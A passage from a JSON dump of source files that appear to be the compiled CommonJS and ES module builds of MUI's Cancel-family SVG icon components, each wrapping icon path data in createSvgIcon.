    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m5 13.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12z\"\n}), 'Cancel');"
  },
  {
    "path": "packages/mui-icons-material/lib/Cancel.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m5 13.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12z\"\n}), 'Cancel');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3.59-13L12 10.59 8.41 7 7 8.41 10.59 12 7 15.59 8.41 17 12 13.41 15.59 17 17 15.59 13.41 12 17 8.41z\"\n}), 'CancelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3.59-13L12 10.59 8.41 7 7 8.41 10.59 12 7 15.59 8.41 17 12 13.41 15.59 17 17 15.59 13.41 12 17 8.41z\"\n}), 'CancelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelPresentation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 19.1H3V5h18zM21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.59 8 12 10.59 9.41 8 8 9.41 10.59 12 8 14.59 9.41 16 12 13.41 14.59 16 16 14.59 13.41 12 16 9.41z\"\n}, \"1\")], 'CancelPresentation');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelPresentation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 19.1H3V5h18zM21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.59 8 12 10.59 9.41 8 8 9.41 10.59 12 8 14.59 9.41 16 12 13.41 14.59 16 16 14.59 13.41 12 16 9.41z\"\n}, \"1\")], 'CancelPresentation');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelPresentationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM9.41 15.95 12 13.36l2.59 2.59L16 14.54l-2.59-2.59L16 9.36l-1.41-1.41L12 10.54 9.41 7.95 8 9.36l2.59 2.59L8 14.54z\"\n}), 'CancelPresentationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelPresentationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM9.41 15.95 12 13.36l2.59 2.59L16 14.54l-2.59-2.59L16 9.36l-1.41-1.41L12 10.54 9.41 7.95 8 9.36l2.59 2.59L8 14.54z\"\n}), 'CancelPresentationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelPresentationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 15c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1zm-5.71-9.3a.996.996 0 0 0-1.41 0L12 10.59 10.11 8.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L10.59 12 8.7 13.89c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L12 13.41l1.89 1.89c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L13.41 12l1.89-1.89c.38-.38.38-1.02-.01-1.41\"\n}), 'CancelPresentationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelPresentationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 15c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1zm-5.71-9.3a.996.996 0 0 0-1.41 0L12 10.59 10.11 8.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L10.59 12 8.7 13.89c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L12 13.41l1.89 1.89c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L13.41 12l1.89-1.89c.38-.38.38-1.02-.01-1.41\"\n}), 'CancelPresentationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelPresentationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 3v18h22V3zm20 16H3V5h18zM9.41 16 12 13.41 14.59 16 16 14.59 13.41 12 16 9.41 14.59 8 12 10.59 9.41 8 8 9.41 10.59 12 8 14.59z\"\n}), 'CancelPresentationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelPresentationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 3v18h22V3zm20 16H3V5h18zM9.41 16 12 13.41 14.59 16 16 14.59 13.41 12 16 9.41 14.59 8 12 10.59 9.41 8 8 9.41 10.59 12 8 14.59z\"\n}), 'CancelPresentationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelPresentationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19.1h18V4.95H3zm5-9.74 1.41-1.41L12 10.54l2.59-2.59L16 9.36l-2.59 2.59L16 14.54l-1.41 1.41L12 13.36l-2.59 2.59L8 14.54l2.59-2.59z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM9.41 15.95 12 13.36l2.59 2.59L16 14.54l-2.59-2.59L16 9.36l-1.41-1.41L12 10.54 9.41 7.95 8 9.36l2.59 2.59L8 14.54z\"\n}, \"1\")], 'CancelPresentationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelPresentationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19.1h18V4.95H3zm5-9.74 1.41-1.41L12 10.54l2.59-2.59L16 9.36l-2.59 2.59L16 14.54l-1.41 1.41L12 13.36l-2.59 2.59L8 14.54l2.59-2.59z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM9.41 15.95 12 13.36l2.59 2.59L16 14.54l-2.59-2.59L16 9.36l-1.41-1.41L12 10.54 9.41 7.95 8 9.36l2.59 2.59L8 14.54z\"\n}, \"1\")], 'CancelPresentationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m4.3 14.3c-.39.39-1.02.39-1.41 0L12 13.41 9.11 16.3c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41L10.59 12 7.7 9.11a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L12 10.59l2.89-2.89c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41L13.41 12l2.89 2.89c.38.38.38 1.02 0 1.41\"\n}), 'CancelRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m4.3 14.3c-.39.39-1.02.39-1.41 0L12 13.41 9.11 16.3c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41L10.59 12 7.7 9.11a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L12 10.59l2.89-2.89c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41L13.41 12l2.89 2.89c.38.38.38 1.02 0 1.41\"\n}), 'CancelRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelScheduleSend.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 9c-.42 0-.83.04-1.24.11L1.01 3 1 10l9 2-9 2 .01 7 8.07-3.46C9.59 21.19 12.71 24 16.5 24c4.14 0 7.5-3.36 7.5-7.5S20.64 9 16.5 9m0 13c-3.03 0-5.5-2.47-5.5-5.5s2.47-5.5 5.5-5.5 5.5 2.47 5.5 5.5-2.47 5.5-5.5 5.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.27 14.03-1.77 1.76-1.77-1.76-.7.7 1.76 1.77-1.76 1.77.7.7 1.77-1.76 1.77 1.76.7-.7-1.76-1.77 1.76-1.77z\"\n}, \"1\")], 'CancelScheduleSend');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelScheduleSend.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 9c-.42 0-.83.04-1.24.11L1.01 3 1 10l9 2-9 2 .01 7 8.07-3.46C9.59 21.19 12.71 24 16.5 24c4.14 0 7.5-3.36 7.5-7.5S20.64 9 16.5 9m0 13c-3.03 0-5.5-2.47-5.5-5.5s2.47-5.5 5.5-5.5 5.5 2.47 5.5 5.5-2.47 5.5-5.5 5.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.27 14.03-1.77 1.76-1.77-1.76-.7.7 1.76 1.77-1.76 1.77.7.7 1.77-1.76 1.77 1.76.7-.7-1.76-1.77 1.76-1.77z\"\n}, \"1\")], 'CancelScheduleSend');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelScheduleSendOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 9c-.42 0-.83.04-1.24.11L1.01 3 1 10l10.06 1.34c-.42.44-.78.93-1.09 1.46L1 14l.01 7 8.07-3.46C9.59 21.19 12.71 24 16.5 24c4.14 0 7.5-3.36 7.5-7.5S20.64 9 16.5 9M3 8.25l.01-2.22 7.51 3.22zm6.1 7.11L3 17.97v-2.22l6.17-.82c-.03.14-.05.28-.07.43M16.5 22c-3.03 0-5.5-2.47-5.5-5.5s2.47-5.5 5.5-5.5 5.5 2.47 5.5 5.5-2.47 5.5-5.5 5.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.27 14.03-1.77 1.76-1.77-1.76-.7.7 1.76 1.77-1.76 1.77.7.7 1.77-1.76 1.77 1.76.7-.7-1.76-1.77 1.76-1.77z\"\n}, \"1\")], 'CancelScheduleSendOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelScheduleSendOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 9c-.42 0-.83.04-1.24.11L1.01 3 1 10l10.06 1.34c-.42.44-.78.93-1.09 1.46L1 14l.01 7 8.07-3.46C9.59 21.19 12.71 24 16.5 24c4.14 0 7.5-3.36 7.5-7.5S20.64 9 16.5 9M3 8.25l.01-2.22 7.51 3.22zm6.1 7.11L3 17.97v-2.22l6.17-.82c-.03.14-.05.28-.07.43M16.5 22c-3.03 0-5.5-2.47-5.5-5.5s2.47-5.5 5.5-5.5 5.5 2.47 5.5 5.5-2.47 5.5-5.5 5.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.27 14.03-1.77 1.76-1.77-1.76-.7.7 1.76 1.77-1.76 1.77.7.7 1.77-1.76 1.77 1.76.7-.7-1.76-1.77 1.76-1.77z\"\n}, \"1\")], 'CancelScheduleSendOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelScheduleSendRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 9c-.42 0-.83.04-1.24.11L2.4 3.6c-.66-.29-1.39.2-1.39.91L1 9.2c0 .47.33.88.78.98L10 12l-8.22 1.83c-.45.1-.78.5-.78.97l.01 4.68c0 .72.73 1.2 1.39.92l6.68-2.86C9.59 21.19 12.71 24 16.5 24c4.14 0 7.5-3.36 7.5-7.5S20.64 9 16.5 9m0 13c-3.03 0-5.5-2.47-5.5-5.5s2.47-5.5 5.5-5.5 5.5 2.47 5.5 5.5-2.47 5.5-5.5 5.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.62 14.38c-.2-.2-.51-.2-.71 0l-1.41 1.41-1.41-1.41c-.2-.2-.51-.2-.71 0s-.2.51 0 .71l1.41 1.41-1.41 1.41c-.2.2-.2.51 0 .71s.51.2.71 0l1.41-1.41 1.41 1.41c.2.2.51.2.71 0s.2-.51 0-.71l-1.41-1.41 1.41-1.41c.2-.2.2-.52 0-.71\"\n}, \"1\")], 'CancelScheduleSendRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelScheduleSendRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 9c-.42 0-.83.04-1.24.11L2.4 3.6c-.66-.29-1.39.2-1.39.91L1 9.2c0 .47.33.88.78.98L10 12l-8.22 1.83c-.45.1-.78.5-.78.97l.01 4.68c0 .72.73 1.2 1.39.92l6.68-2.86C9.59 21.19 12.71 24 16.5 24c4.14 0 7.5-3.36 7.5-7.5S20.64 9 16.5 9m0 13c-3.03 0-5.5-2.47-5.5-5.5s2.47-5.5 5.5-5.5 5.5 2.47 5.5 5.5-2.47 5.5-5.5 5.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.62 14.38c-.2-.2-.51-.2-.71 0l-1.41 1.41-1.41-1.41c-.2-.2-.51-.2-.71 0s-.2.51 0 .71l1.41 1.41-1.41 1.41c-.2.2-.2.51 0 .71s.51.2.71 0l1.41-1.41 1.41 1.41c.2.2.51.2.71 0s.2-.51 0-.71l-1.41-1.41 1.41-1.41c.2-.2.2-.52 0-.71\"\n}, \"1\")], 'CancelScheduleSendRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelScheduleSendSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 9c-.42 0-.83.04-1.24.11L1.01 3 1 10l9 2-9 2 .01 7 8.07-3.46C9.59 21.19 12.71 24 16.5 24c4.14 0 7.5-3.36 7.5-7.5S20.64 9 16.5 9m0 13c-3.03 0-5.5-2.47-5.5-5.5s2.47-5.5 5.5-5.5 5.5 2.47 5.5 5.5-2.47 5.5-5.5 5.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.27 14.03-1.77 1.76-1.77-1.76-.7.7 1.76 1.77-1.76 1.77.7.7 1.77-1.76 1.77 1.76.7-.7-1.76-1.77 1.76-1.77z\"\n}, \"1\")], 'CancelScheduleSendSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelScheduleSendSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 9c-.42 0-.83.04-1.24.11L1.01 3 1 10l9 2-9 2 .01 7 8.07-3.46C9.59 21.19 12.71 24 16.5 24c4.14 0 7.5-3.36 7.5-7.5S20.64 9 16.5 9m0 13c-3.03 0-5.5-2.47-5.5-5.5s2.47-5.5 5.5-5.5 5.5 2.47 5.5 5.5-2.47 5.5-5.5 5.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.27 14.03-1.77 1.76-1.77-1.76-.7.7 1.76 1.77-1.76 1.77.7.7 1.77-1.76 1.77 1.76.7-.7-1.76-1.77 1.76-1.77z\"\n}, \"1\")], 'CancelScheduleSendSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelScheduleSendTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3 17.97 6.1-2.61c.02-.14.04-.29.07-.43L3 15.75zM16.5 11c-3.03 0-5.5 2.47-5.5 5.5s2.47 5.5 5.5 5.5 5.5-2.47 5.5-5.5-2.47-5.5-5.5-5.5m2.47 7.27-.71.71-1.77-1.77-1.77 1.77-.71-.71 1.77-1.77-1.77-1.77.71-.71 1.77 1.77 1.77-1.77.71.71-1.77 1.77zM3 8.25l7.52 1-7.51-3.22z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 9c-.42 0-.83.04-1.24.11L1.01 3 1 10l10.06 1.34c-.42.44-.78.93-1.09 1.46L1 14l.01 7 8.07-3.46C9.59 21.19 12.71 24 16.5 24c4.14 0 7.5-3.36 7.5-7.5S20.64 9 16.5 9M3 8.25l.01-2.22 7.51 3.22zm6.1 7.11L3 17.97v-2.22l6.17-.82c-.03.14-.05.28-.07.43M16.5 22c-3.03 0-5.5-2.47-5.5-5.5s2.47-5.5 5.5-5.5 5.5 2.47 5.5 5.5-2.47 5.5-5.5 5.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.27 14.03-1.77 1.76-1.77-1.76-.7.7 1.76 1.77-1.76 1.77.7.7 1.77-1.76 1.77 1.76.7-.7-1.76-1.77 1.76-1.77z\"\n}, \"2\")], 'CancelScheduleSendTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelScheduleSendTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3 17.97 6.1-2.61c.02-.14.04-.29.07-.43L3 15.75zM16.5 11c-3.03 0-5.5 2.47-5.5 5.5s2.47 5.5 5.5 5.5 5.5-2.47 5.5-5.5-2.47-5.5-5.5-5.5m2.47 7.27-.71.71-1.77-1.77-1.77 1.77-.71-.71 1.77-1.77-1.77-1.77.71-.71 1.77 1.77 1.77-1.77.71.71-1.77 1.77zM3 8.25l7.52 1-7.51-3.22z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 9c-.42 0-.83.04-1.24.11L1.01 3 1 10l10.06 1.34c-.42.44-.78.93-1.09 1.46L1 14l.01 7 8.07-3.46C9.59 21.19 12.71 24 16.5 24c4.14 0 7.5-3.36 7.5-7.5S20.64 9 16.5 9M3 8.25l.01-2.22 7.51 3.22zm6.1 7.11L3 17.97v-2.22l6.17-.82c-.03.14-.05.28-.07.43M16.5 22c-3.03 0-5.5-2.47-5.5-5.5s2.47-5.5 5.5-5.5 5.5 2.47 5.5 5.5-2.47 5.5-5.5 5.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.27 14.03-1.77 1.76-1.77-1.76-.7.7 1.76 1.77-1.76 1.77.7.7 1.77-1.76 1.77 1.76.7-.7-1.76-1.77 1.76-1.77z\"\n}, \"2\")], 'CancelScheduleSendTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m5 13.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12z\"\n}), 'CancelSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m5 13.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12z\"\n}), 'CancelSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelTwoTone.js",
